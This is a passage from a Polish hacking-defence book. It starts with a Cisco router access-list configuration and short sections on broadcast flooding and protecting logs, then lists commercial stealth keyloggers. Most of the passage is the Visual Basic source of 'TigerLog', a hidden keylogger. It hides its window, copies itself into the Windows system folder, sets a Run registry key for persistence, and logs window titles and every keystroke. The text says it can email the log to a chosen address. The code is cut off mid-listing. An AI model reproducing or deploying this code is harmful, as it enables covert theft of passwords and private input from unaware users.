ip access-group 101 in
encapsulation hdlc
!
! Lista kontroli dost

ę

pu 100

!
access-list 100 deny ip 172.29.42.0 0.0.0.3 any
access-list 100 deny ip 172.29.43.0 0.0.0.255 any
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit ip any 172.29.42.0 0.0.0.3
access-list 100 permit ip any 172.29.43.0 0.0.0.255
!
! Lista kontroli dost

ę

pu 101

!
access-list 101 deny ip 172.29.41.0 0.0.0.255 any
access-list 101 permit udp any eq rip any eq rip
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 23
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 107

background image


172

Hack Wars. Tom 2. Na tropie hakerów

172

access-list 101 permit ip any 172.29.41.0 0.0.0.255
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 7 password
login
!
line vty 0 4
password 7 password
login

Sprawdź u swojego producenta dostępność konkretnych procedur przeciwdziałają-
cych przepełnianiu. Wiele interfejsów lub konsoli do lokalnego zarządzania Internetem
jeszcze bardziej ułatwia ustawienie odpowiednich opcji. Na rysunku 2.6 przyjrzyj się
systemowi „wskaż i zaznacz” w programie NetScreen.

Rysunek 2.6.
System „wskaż
i zaznacz”
w programie
NetScreen sprawia,
ż

e nawet

zaawansowane opcje
zabezpiecze
ń stają się
proste

Kolejnym popularnym atakiem hakerów jest rozgłaszanie (broadcasting). Według defini-
cji zawartej w pierwszym tomie tej książki, oznacza to sposób transmisji czegoś we
wszystkich kierunkach. Większość protokołów komunikacyjnych udostępnia funkcję
wysyłania komunikatów do wszystkich węzłów w sieci. Dlatego też ważne jest, aby po-
dzielić większe sieci na mniejsze części przy użyciu mostów i routerów, ponieważ takie
mniejsze segmenty tworzą oddzielne domeny rozgłaszania. Wyobraź sobie pojedynczą
sieć z 250 węzłami, która padła ofiarą przepełnienia przez rozgłaszanie. Napastnik może
z łatwością zablokować całą przepustowość sieci. Jeśli jednak taka sieć zostanie wła-
ś

ciwie podzielona na segmenty, routery i mosty będą mogły filtrować takie ataki, nie

przesyłając po prostu takich transmisji przez interfejsy. W większości przypadków taka
funkcja blokowania jest włączona domyślnie. Należy również pamiętać, iż możesz,
a czasami nawet powinieneś, uzupełnić taką blokadę, używając narzędzia do podsłu-
chiwania pakietów (sniffer).

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

173

173

Ochrona przed manipulacją dziennikami

Manipulacja dziennikami to środek działania hakerów, służący do edycji dziennika
nadzoru w celu usunięcia wszelkich śladów aktywności w systemie docelowym. Do
tego celu hakerzy często używają oprogramowania osłaniającego, które wyszukuje
i niszczy dzienniki, oznakowania i pliki tymczasowe.

W pierwszym tomie tej książki omówiliśmy typowe techniki manipulacji dziennikami
w systemach Windows i UNIX, wykonywane w standardowych warunkach operacyj-
nych. W tej części skupimy się na sposobach zabezpieczenia tych procedur, co obejmu-
je metody archiwizacji w celu zapewnienia poprawnego działania funkcji zapisu dzien-
ników. Ta funkcja może być niezmiernie przydatna w czasie zbierania jednoznacznych
dowodów na ataki hakerów, a także w przypadku rozwiązywania problemów związanych
z potencjalnymi konfliktami modyfikacji systemu. Istnieją również pewne logiczne proce-
dury techniczne, które pomogą zabezpieczyć pliki dzienników, a także zaimplementować
redundancję (nadmiarowość).

Zapisywanie zdarzeń w plikach dzienników jest ważną funkcją systemów operacyj-
nych, urządzeń sieciowych oraz demonów usług. Posiadanie takich informacji, jak mo-
dyfikacje konfiguracji, status operacyjny, status logowania oraz wykorzystanie proce-
sów, może oszczędzić wiele czasu poświęconego na rozwiązywanie problemów i badanie
zabezpieczeń. Funkcja tworzenia dzienników przez system, przeglądarkę, terminal
i demony powinna stać się częścią procedury codziennego zbierania informacji sys-
temowych. Dla przykładu pliki dzienników przeglądarki są przechowywane w poniżej
przedstawionych katalogach. Można je wykorzystać w czasie codziennej archiwizacji.

NETSCAPE

\Netscape\Users\default\cookies.txt
\Netscape\Users\default\netscape.hst
\Netscape\Users\default\prefs.js
\Netscape\Users\default\Cache\*.*

INTERNET EXPLORER

\Windows\Tempor~1\index.dat
\Windows\Cookies\index.dat
\Windows\History\index.dat

Dzienniki demonów usług są znacznie prostsze do zarządzania; do tego celu można wyko-
rzystać zapytania bazy danych, na przykład Accessa, Oracle’a lub SQL-a, lub bezpośredni
dostęp do pliku, co zilustrowano na rysunku 2.7. W zależności od wykorzystania pliki
dzienników powinny być regularnie archiwizowane. Zauważ jednakże, iż monitorowanie
adresów URL, dostępu przez FTP oraz obsługa dzienników przeglądarki i proxy może
znacznie zwiększyć wymagane nakłady.

background image


174

Hack Wars. Tom 2. Na tropie hakerów

174

Rysunek 2.7.
Ustawianie funkcji
dzienników demona
usługi

Głównym problemem spowodowanym przez manipulację dziennikami jest usunięcie
ich samych lub likwidacja danych po nieautoryzowanej penetracji. Z tego powodu
omówimy techniki ukrytego tworzenia dzienników. Oprócz wcześniej wymienionych,
znanych procedur tworzenia dzienników, ukryte dzienniki z ograniczonym dostępem
(który zostaje przyznany tylko kilku zaufanym administratorom) mogą być świetną alter-
natywą. W niektórych przypadkach jednak może być zalecane lub konieczne przydziele-
nie odpowiedzialności za ukryte dzienniki wielu osobom, które nie współpracują ze sobą.
Różne punkty widzenia tych osób mogą spowodować ulepszenie sposobu rozwiązywa-
nia konfliktów. Niezależnie od tego ukryte dzienniki z ograniczonym dostępem mogą
zostać zaimplementowane przy użyciu własnej techniki w celu monitorowania osób ko-
rzystających z danego komputera (na przykład użytkowników z ograniczonymi prawa-
mi, takich jak małe dzieci) oraz śledzenia wszystkich czynności wykonywanych ręcznie.

Choć takie programy do tworzenia dzienników mogą być bardzo skomplikowane, są
one relatywnie łatwe do zakodowania; istnieją również setki narzędzi typu shareware, fre-
eware lub komercyjnych. Aby szybko je pobrać i przetestować, poszukaj takich
programów w wersji dla Windows i UNIX na witrynach C|Net (download.cnet.
com
), TuCows (www.tucows.com), Shareware.com (www.shareware.com) i ZDNet
(www.zdnet.com/downloads). Oto kilka najpopularniejszych programów:









Stealth Activity Recorder and Reporter (STARR) firmy IOPUS Software
(www.iopus.com),









Invisible KeyLogger firmy Amecisco (www.amecisco.com),









KeyInterceptor firmy UltraSoft (www.ultrasoft.ro),









Ghost KeyLogger firmy Sure Shot (http://sureshot.virtualave.net).

Domowi i prywatni użytkownicy mogą również dostosować narzędzie TigerLog
(patrz rysunek 2.8) w celu pełnego, ukrytego zapisywania w dzienniku wciskanych
klawiszy. TigerLog oferuje możliwość modyfikacji klawiszy, które mają być zapisy-
wane, zmiany sekwencji klawiszy aktywującej wyświetlenia okna podsłuchu sesji
(obecnie Shift+F12), zmiany położenia i domyślnej nazwy pliku dziennika (/Windows/

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

175

175

System/TigerLog.TXT), a także wysłania zawartości pliku dziennika po jego zapeł-
nieniu na wybrany adres e-mailowy (ktos@serwer_poczty.com) przy użyciu serwera
SMTP (mail.mailserver.net). Poniżej znajduje się najbardziej aktualna kompilacja Ti-
gerLoga
.

Rysunek 2.8.
TigerLog (widoczny
tryb podsłuchu sesji)
do ukrytego
monitorowania
aktywno
ści systemu
i zapisywania
w dzienniku
wci
śniętych klawiszy

TigerLog

Private Declare Function Getasynckeystate Lib "user32" Alias
"GetAsyncKeyState" (ByVal VKEY As Long) As Integer

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey

As Long) As Integer

Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal

hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal

hKey As Long, ByVal lpValueName As String, ByVal Reserved As
Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData
As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey

As Long) As Long

Private Declare Function RegisterServiceProcess Lib "Kernel32.dll"

(ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Private Declare Function GetForegroundWindow Lib "user32.dll" () As

Long

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As

Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As
Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long)
As Long

Private Declare Function GetWindowText Lib "user32" Alias

"GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String,
ByVal cch As Long) As Long

Private Declare Function GetWindowTextLength Lib "user32" Alias

"GetWindowTextLengthA" (ByVal hWnd As Long) As Long

Private Declare Function GetComputerName Lib "kernel32" Alias

"GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long

Private Declare Function GetUserName Lib "advapi32.dll" Alias

"GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Private Const VK_CAPITAL = &H14
Const REG As Long = 1

Const HKEY_LOCAL_MACHINE As Long = &H80000002

Const HWND_TOPMOST = -1

Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String
Dim logfile As String

background image


176

Hack Wars. Tom 2. Na tropie hakerów

176


Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While Getasynckeystate(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If Getasynckeystate(VK_CAPITAL) Then
While Getasynckeystate(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function

Private Sub Command1_Click()
Form1.Visible = False
End Sub

Private Sub Form_Load()
If App.PrevInstance Then
Unload Me
End
End If
HideMe
Hook Me.hWnd

Dim mypath, newlocation As String, u

currentwindow = GetCaption(GetForegroundWindow)

mypath = App.Path & "\" & App.EXEName & ".EXE" 'nazwa aplikacji
newlocation = Environ("WinDir") & "\system\" & App.EXEName & ".EXE"

On Error Resume Next
If LCase(mypath) <> LCase(newlocation) Then
FileCopy mypath, newlocation
End If

u = RegOpenKeyExA(HKEY_LOCAL_MACHINE,

"Software\Microsoft\Windows\CurrentVersion\RunServices", 0,
KEY_ALL_ACCESS, a)

u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)
u = RegCloseKey(a)
logfile = Environ("WinDir") & "\system\" & App.EXEName & ".TXT"

'nazwa_aplikacji.txt w Windows\system

Open logfile For Append As #1
Write #1, vbCrLf
Write #1, " -- Start: " & Now & "]"
Write #1, String$(50, "-")
Close #1
End Sub

Private Sub Form_Unload(Cancel As Integer)
UnHook Me.hWnd
texter$ = Text1
Open logfile For Append As #1
Write #1, texter
Write #1, String$(50, "-")
Write #1, " -- End: " & Now & "]"
Close #1

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

177

177

End Sub

Private Sub Timer1_Timer()
If currentwindow <> GetCaption(GetForegroundWindow) Then
currentwindow = GetCaption(GetForegroundWindow)
Text1 = Text1 & vbCrLf & vbCrLf & "[" & Time & " - Current Window:

" & currentwindow & "]" & vbCrLf

End If

‘aktywacja formularza poprzez shift + f12

Dim keystate As Long
Dim Shift As Long
Shift = Getasynckeystate(vbKeyShift)

'klawisze do przechwycenia

keystate = Getasynckeystate(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "A"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "a"
End If

keystate = Getasynckeystate(vbKeyB)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "B"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "b"
End If

keystate = Getasynckeystate(vbKeyC)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "C"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "c"
End If

keystate = Getasynckeystate(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "D"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "d"
End If

background image


178

Hack Wars. Tom 2. Na tropie hakerów

178

keystate = Getasynckeystate(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "E"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "e"
End If

keystate = Getasynckeystate(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "F"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "f"
End If

keystate = Getasynckeystate(vbKeyG)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "G"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "g"
End If

keystate = Getasynckeystate(vbKeyH)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "H"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "h"

End If

keystate = Getasynckeystate(vbKeyI)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "I"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "i"
End If

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

179

179

keystate = Getasynckeystate(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "J"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "j"
End If

keystate = Getasynckeystate(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "K"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "k"
End If

keystate = Getasynckeystate(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "L"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "l"
End If


keystate = Getasynckeystate(vbKeyM)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "M"

End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "m"
End If


keystate = Getasynckeystate(vbKeyN)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "N"

End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "n"
End If

background image


180

Hack Wars. Tom 2. Na tropie hakerów

180


keystate = Getasynckeystate(vbKeyO)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "O"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "o"
End If

keystate = Getasynckeystate(vbKeyP)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "P"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "p"
End If

keystate = Getasynckeystate(vbKeyQ)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "Q"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "q"
End If

keystate = Getasynckeystate(vbKeyR)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "R"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "r"
End If

keystate = Getasynckeystate(vbKeyS)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "S"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "s"
End If

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

181

181

keystate = Getasynckeystate(vbKeyT)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "T"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "t"

End If

keystate = Getasynckeystate(vbKeyU)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "U"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "u"
End If

keystate = Getasynckeystate(vbKeyV)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "V"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "v"
End If

keystate = Getasynckeystate(vbKeyW)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "W"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "w"
End If

keystate = Getasynckeystate(vbKeyX)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "X"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "x"
End If

keystate = Getasynckeystate(vbKeyY)

background image


182

Hack Wars. Tom 2. Na tropie hakerów

182

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "Y"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "y"
End If

keystate = Getasynckeystate(vbKeyZ)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "Z"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then

Text1 = Text1 + "z"
End If

keystate = Getasynckeystate(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "1"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "!"
End If


keystate = Getasynckeystate(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "2"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "@"
End If


keystate = Getasynckeystate(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "3"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "#"
End If


keystate = Getasynckeystate(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "4"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "$"
End If

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

183

183



keystate = Getasynckeystate(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "5"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "%"
End If


keystate = Getasynckeystate(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "6"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "^"
End If


keystate = Getasynckeystate(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "7"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "&"
End If


keystate = Getasynckeystate(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "8"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "*"
End If


keystate = Getasynckeystate(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "9"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "("
End If


keystate = Getasynckeystate(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "0"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ")"
End If

background image


184

Hack Wars. Tom 2. Na tropie hakerów

184


keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{bkspc}"
End If

keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{tab}"
End If

keystate = Getasynckeystate(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + vbCrLf
End If

keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{shift}"
End If

keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{ctrl}"
End If

keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{alt}"
End If

keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{pause}"
End If

keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{esc}"
End If

keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + " "
End If

keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{end}"
End If

keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{home}"
End If

keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{left}"
End If

keystate = Getasynckeystate(vbKeyRight)

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

185

185

If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{right}"
End If

keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{up}"
End If

keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{down}"
End If

keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{insert}"
End If

keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Delete}"
End If

keystate = Getasynckeystate(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ";"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ":"
End If

keystate = Getasynckeystate(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "="
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "+"
End If

keystate = Getasynckeystate(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ","
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "<"
End If

keystate = Getasynckeystate(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "-"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "_"
End If

keystate = Getasynckeystate(&HBE)

background image


186

Hack Wars. Tom 2. Na tropie hakerów

186

If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "."
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ">"
End If

keystate = Getasynckeystate(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "/"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "?"
End If

keystate = Getasynckeystate(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "'"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "~"
End If

keystate = Getasynckeystate(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "["
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "{"
End If

keystate = Getasynckeystate(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "\"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "|"
End If

keystate = Getasynckeystate(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "]"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "}"
End If

keystate = Getasynckeystate(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "'"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + Chr$(34)
End If

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

187

187

keystate = Getasynckeystate(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "*"
End If

keystate = Getasynckeystate(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "/"
End If

keystate = Getasynckeystate(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "+"
End If

keystate = Getasynckeystate(vbKeySubtract)
